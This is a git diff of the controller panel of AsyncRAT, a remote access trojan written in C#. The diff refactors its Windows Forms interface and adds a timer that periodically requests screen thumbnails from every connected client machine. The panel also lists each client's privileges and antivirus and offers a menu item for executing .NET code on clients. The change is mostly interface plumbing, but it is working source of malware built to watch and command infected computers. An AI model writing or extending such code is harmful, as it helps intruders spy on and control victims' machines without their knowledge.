diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
index 3c6b580..b15d751 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.Designer.cs
@@ -37,9 +37,9 @@
             this.lv_user = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
             this.lv_os = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
             this.lv_version = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
-            this.lv_prefor = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
             this.lv_admin = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
             this.lv_av = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
+            this.lv_prefor = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
             this.contextMenuClient = new System.Windows.Forms.ContextMenuStrip(this.components);
             this.aBOUTToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
             this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator();
@@ -115,6 +115,7 @@
             this.performanceCounter2 = new System.Diagnostics.PerformanceCounter();
             this.notifyIcon1 = new System.Windows.Forms.NotifyIcon(this.components);
             this.TimerTask = new System.Windows.Forms.Timer(this.components);
+            this.GetThumbnails = new System.Windows.Forms.Timer(this.components);
             this.contextMenuClient.SuspendLayout();
             this.statusStrip1.SuspendLayout();
             this.tabControl1.SuspendLayout();
@@ -188,11 +189,6 @@
             this.lv_version.Text = "VERSION";
             this.lv_version.Width = 126;
             // 
-            // lv_prefor
-            // 
-            this.lv_prefor.Text = "PERFORMANCE";
-            this.lv_prefor.Width = 200;
-            // 
             // lv_admin
             // 
             this.lv_admin.Text = "PRIVILEGES";
@@ -203,6 +199,11 @@
             this.lv_av.Text = "ANTI-VIRUS";
             this.lv_av.Width = 136;
             // 
+            // lv_prefor
+            // 
+            this.lv_prefor.Text = "PERFORMANCE";
+            this.lv_prefor.Width = 200;
+            // 
             // contextMenuClient
             // 
             this.contextMenuClient.ImageScalingSize = new System.Drawing.Size(20, 20);
@@ -835,6 +836,11 @@
             this.TimerTask.Interval = 5000;
             this.TimerTask.Tick += new System.EventHandler(this.TimerTask_Tick);
             // 
+            // GetThumbnails
+            // 
+            this.GetThumbnails.Interval = 5000;
+            this.GetThumbnails.Tick += new System.EventHandler(this.GetThumbnails_Tick);
+            // 
             // Form1
             // 
             this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
@@ -954,6 +960,7 @@
         private System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel2;
         private System.Windows.Forms.ToolStripMenuItem executeNETCodeToolStripMenuItem;
         private System.Windows.Forms.ColumnHeader lv_av;
+        public System.Windows.Forms.Timer GetThumbnails;
     }
 }
 
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
index c375888..75a24d1 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs
@@ -74,10 +74,10 @@ namespace AsyncRAT_Sharp
 
         private async void Form1_Load(object sender, EventArgs e)
         {
-            System.Reflection.PropertyInfo aProp = typeof(System.Windows.Forms.Control)
-    .GetProperty("DoubleBuffered", System.Reflection.BindingFlags.NonPublic |
-    System.Reflection.BindingFlags.Instance);
-            aProp.SetValue(listView1, true, null);
+
+            ListviewDoubleBuffer.Enable(listView1);
+            ListviewDoubleBuffer.Enable(listView2);
+            ListviewDoubleBuffer.Enable(listView3);
 
             CheckFiles();
             lvwColumnSorter = new ListViewColumnSorter();
@@ -211,36 +211,32 @@ namespace AsyncRAT_Sharp
             this.Opacity = 0.95;
         }
 
-        private static System.Threading.Timer Tick { get; set; }
-        private void STARTToolStripMenuItem_Click(object sender, EventArgs e)
+        private void GetThumbnails_Tick(object sender, EventArgs e)
         {
-            if (Tick == null && listView1.Items.Count > 0)
+            if (listView1.Items.Count > 0)
             {
-                Tick = new System.Threading.Timer(GetThumbnails, null, 2500, 5000);
+                try
+                {
+                    MsgPack msgpack = new MsgPack();
+                    msgpack.ForcePathObject("Packet").AsString = "thumbnails";
+
+                    foreach (ListViewItem itm in listView1.Items)
+                    {
+                        Clients client = (Clients)itm.Tag;
+                        ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
+                    }
+                }
+                catch { }
             }
         }
-        private void GetThumbnails(object obj)
-        {
-            if (Program.form1.listView3.InvokeRequired)
-            {
-                Program.form1.listView3.BeginInvoke((MethodInvoker)(() =>
-                {
-                    if (listView1.Items.Count > 0)
-                    {
-                        try
-                        {
-                            MsgPack msgpack = new MsgPack();
-                            msgpack.ForcePathObject("Packet").AsString = "thumbnails";
 
-                            foreach (ListViewItem itm in listView1.Items)
-                            {
-                                Clients client = (Clients)itm.Tag;
-                                ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
-                            }
-                        }
-                        catch { }
-                    }
-                }));
+        private void STARTToolStripMenuItem_Click(object sender, EventArgs e)
+        {
+            if (listView1.Items.Count > 0)
+            {
+                GetThumbnails.Stop();
+                GetThumbnails.Start();
+                GetThumbnails.Tag = (object)"started";
             }
         }
 
@@ -248,8 +244,8 @@ namespace AsyncRAT_Sharp
         {
             try
             {
-                Tick?.Dispose();
-                Tick = null;
+                GetThumbnails.Tag = (object)"stopped";
+                GetThumbnails.Stop();
                 listView3.Items.Clear();
                 ThumbnailImageList.Images.Clear();
                 foreach (ListViewItem itm in listView1.Items)
@@ -529,7 +525,10 @@ namespace AsyncRAT_Sharp
         {
             try
             {
-                listView2.Items.Clear();
+                lock (Settings.Listview2Lock)
+                {
+                    listView2.Items.Clear();
+                }
             }
             catch { }
         }
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx
index c287e58..6483fbc 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.resx
@@ -610,6 +610,9 @@
   <metadata name="TimerTask.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
     <value>693, 65</value>
   </metadata>
+  <metadata name="GetThumbnails.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
+    <value>1045, 65</value>
+  </metadata>
   <metadata name="$this.TrayHeight" type="System.Int32, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
     <value>112</value>
   </metadata>